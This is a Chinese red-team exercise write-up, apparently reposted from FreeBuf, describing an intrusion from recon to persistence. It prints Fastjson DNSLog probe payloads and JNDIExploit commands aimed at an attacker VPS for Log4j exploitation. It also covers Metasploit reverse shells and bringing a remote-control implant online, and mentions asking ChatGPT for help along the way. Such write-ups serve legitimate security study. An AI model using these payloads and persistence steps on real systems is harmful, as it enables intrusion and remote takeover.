当前位置:首页 > 科技  > 软件

记一次攻防演练打点过程

来源: 责编: 时间:2023-10-10 18:30:40 352观看
导读前言在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。过程前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL

前言

在如今错综复杂的网络环境,还有各种防护设备的加持,漏洞利用可谓难上加难。这里简单记录下在一次攻防演练中从打点到权限维持的曲折过程。gct28资讯网——每日最新资讯28at.com

过程

前期先从备案查询、子域名收集、端口扫描等方式获取资产URL。其次对URL进行指纹识别,虽然发现了几个存在指纹的系统,但后续渗透发现漏洞已无法利用,漏洞已修。最后老实本分对其他Web系统进行渗透,寻找突破口。gct28资讯网——每日最新资讯28at.com

01 前后端分离架构

前后端分离的开发架构已然成为互联网项目开发的主流模式,通过nginx+tomcat(中间加Node.js)来进行解耦,是未来的大型分布式架构、弹性计算架构、微服务架构和多端化服务的基础。gct28资讯网——每日最新资讯28at.com

·前端:负责View和Controller层·后端:负责Model层,进行业务/数据处理gct28资讯网——每日最新资讯28at.com

JAVA 更适合做 Model 层、持久层的业务,引入Node.js可进行Controller层的处理。Node.js作为桥梁架接服务端API输出的JSON数据。gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

02 WebPack资源管理

WebPack本身作为一个资源管理和打包构建工作,其强大之处在于各种静态资源的依赖分析和预编译。经过WebPack编译后得到各种静态资源,通常生成dist文件夹,保存各种静态文件。其结构大致如下:gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

而app.js文件通常包含了各类前端路由或者后端API接口,是我们渗透前后端系统的突破口。当然不仅仅只是app.js中会存在。gct28资讯网——每日最新资讯28at.com

03 发现指纹Fastjson

使用burp插件,可自动从js中爬取前端路由或者后端API接口gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

当获取到后端API接口时,使用burp的Intruder模块对所有接口发送GET和POST请求,POST请求时可以构造json请求体发送。gct28资讯网——每日最新资讯28at.com

部分接口进行GET请求时,后端返回缺失某参数,此时可构造该参数并进行SQL注入等漏洞利用。gct28资讯网——每日最新资讯28at.com

此时从报错信息中发现某个接口使用Fastjson组件gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

于是利用DNS探测判断Fastjson版本gct28资讯网——每日最新资讯28at.com

Fastjson < 1.2.43gct28资讯网——每日最新资讯28at.com

{"@type":"java.URL","val":"http://dnslog"} {{"@type":"java.URL","val":"http://dnslog"}:"x"}

Fastjson < 1.2.48gct28资讯网——每日最新资讯28at.com

{"@type":"java.InetAddress","val":"dnslog"}

Fastjson < 1.2.68gct28资讯网——每日最新资讯28at.com

{"@type":"java.Inet6Address","val":"dnslog"}{{"@type":"java.URL","val":"dnslog"}:"aaa"}{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.URL", "val":"http://dnslog"}}""}{{"@type":"java.URL","val":"http://dnslog"}:0}

未发现DNSLog回显gct28资讯网——每日最新资讯28at.com

04 发现log4j漏洞

字段Content-Type存在dnslog回显,先试试dns协议进行dnslog探测gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

可探测java版本,1.8.0_171版本gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

使用ldap协议进行dnslog探测gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

可探测服务器类型,Linux系统gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

可进行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jargct28资讯网——每日最新资讯28at.com

查看使用方式命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u

gct28资讯网——每日最新资讯28at.com

使用TomcatEcho链执行命令并回显命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip

gct28资讯网——每日最新资讯28at.com

发送cmd命令请求gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

成功执行命令并回显,root权限gct28资讯网——每日最新资讯28at.com

此时获取命令执行权限,如何进行权限维持?获取一个稳定的shellgct28资讯网——每日最新资讯28at.com

05 权限维持

1)执行命令,直接反弹shellgct28资讯网——每日最新资讯28at.com

2)执行命令,写入webshellgct28资讯网——每日最新资讯28at.com

3)jndi注入工具支持打入内存马gct28资讯网——每日最新资讯28at.com

4)jndi注入工具1.4版本新增支持上线msfgct28资讯网——每日最新资讯28at.com

第一种尝试:执行bash、sh命令反弹shell,存在ldap请求,但反弹命令未执行成功;gct28资讯网——每日最新资讯28at.com

第二种尝试:通过pwd、ls命令进行Web系统目录,发现服务由jar起的,写入webshell文件无法利用;gct28资讯网——每日最新资讯28at.com

第三种尝试:VPS收到打入内存马的ldap请求,但访问内存马路径时显示404;gct28资讯网——每日最新资讯28at.com

第四种尝试:使用tomcatBypass路由上线msf成功gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

msf开启监听,使用payload:java/meterpreter/reverse_tcpgct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

设置LHOST、LPORT,执行run开启监听gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

发送ldap请求,请求tomcatBypass路由,IP是VPS的IP,PORT是msf监听的端口gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

上线msf,得到稳定式shellgct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

得到shell,但无法进行直观目录浏览,而且shell是交互式shell,有没有更好的远控方式呢?gct28资讯网——每日最新资讯28at.com

06 上线远控

在本公众号前面发过的文章中提到一款远控平台,自带某厂商证书,为免杀工作省去大量功夫。但上线命令需要使用curl命令,然而该机器上并没有curl命令。gct28资讯网——每日最新资讯28at.com

没有curl,但有wget,可不可以使用wget替换curl,询问下chatgptgct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

答案是存在可替换的,但却达不到我们的效果gct28资讯网——每日最新资讯28at.com

于是安装curl命令,但yum、apt-get等命令也没有gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

很奇怪的一个系统,大概率是个阉割版的docker容器,先看下系统版本类型gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

cat /etc/os-release

gct28资讯网——每日最新资讯28at.com

这种系统内核,百度下gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

是个docker无疑了,询问chatgpt该内核的系统如何下载curlgct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

Apline Linux内核使用轻量级的apk包管理工具来管理软件包。执行一键安装命令,等待安装过程gct28资讯网——每日最新资讯28at.com

gct28资讯网——每日最新资讯28at.com

安装完成,接下来使用curl命令一键上线远控。gct28资讯网——每日最新资讯28at.com

总结

命令执行无法反弹shell或许是防护设备拦截所致。gct28资讯网——每日最新资讯28at.com

本文作者:极致攻防实验室, 转载请注明来自FreeBuf.COMgct28资讯网——每日最新资讯28at.com

本文链接:http://www.28at.com/showinfo-26-12690-0.html记一次攻防演练打点过程

声明:本网页内容旨在传播知识,若有侵权等问题请及时与本网联系,我们将在第一时间删除处理。邮件:2376512515@qq.com

上一篇: 如何优雅的处理Java异常?

下一篇: caliburn.micro日志打印,app.xaml里面如何配置?

标签:
  • 热门焦点
  • 十个可以手动编写的 JavaScript 数组 API

    JavaScript 中有很多API,使用得当,会很方便,省力不少。 你知道它的原理吗? 今天这篇文章,我们将对它们进行一次小总结。现在开始吧。1.forEach()forEach()用于遍历数组接收一参
  • 把LangChain跑起来的三个方法

    使用LangChain开发LLM应用时,需要机器进行GLM部署,好多同学第一步就被劝退了,那么如何绕过这个步骤先学习LLM模型的应用,对Langchain进行快速上手?本片讲解3个把LangChain跑起来
  • K8S | Service服务发现

    一、背景在微服务架构中,这里以开发环境「Dev」为基础来描述,在K8S集群中通常会开放:路由网关、注册中心、配置中心等相关服务,可以被集群外部访问;图片对于测试「Tes」环境或者
  • 共享单车的故事讲到哪了?

    来源丨海克财经与共享充电宝相差不多,共享单车已很久没有被国内热点新闻关照到了。除了一再涨价和用户直呼用不起了。近日多家媒体再发报道称,成都、天津、郑州等地多个共享单
  • iQOO Neo8 Pro即将开售:到手价3099元起 安卓性能最强旗舰

    5月23日,iQOO如期举行了新品发布会,全新的iQOO Neo8系列也正式与大家见面,包含iQOO Neo8和iQOO Neo8 Pro两个版本,其中标准版搭载高通骁龙8+,而Pro版更
  • 回归OPPO两年,一加赢了销量,输了品牌

    成为OPPO旗下主打性能的先锋品牌后,一加屡创佳绩。今年618期间,一加手机全渠道销量同比增长362%,凭借一加 11、一加 Ace 2、一加 Ace 2V三款爆品,一加
  • OPPO K11样张首曝:千元机影像“卷”得真不错!

    一直以来,OPPO K系列机型都保持着较为均衡的产品体验,历来都是2K价位的明星机型,去年推出的OPPO K10和OPPO K10 Pro两款机型凭借各自的出色配置,堪称有
  • OPPO Reno10 Pro英雄联盟定制礼盒公布:萨勒芬妮同款配色梦幻十足

    5月24日,OPPO推出了全新的OPPO Reno 10系列,包含OPPO Reno10、OPPO Reno10 Pro和OPPO Reno10 Pro+三款新机,全系标配了超光影长焦镜头,是迄今为止拍照
  • 世界人工智能大会国际日开幕式活动在世博展览馆开启

    30日上午,世界人工智能大会国际日开幕式活动在世博展览馆开启,聚集国际城市代表、重量级院士专家、国际创新企业代表,共同打造人工智能交流平台。上海市副市
Top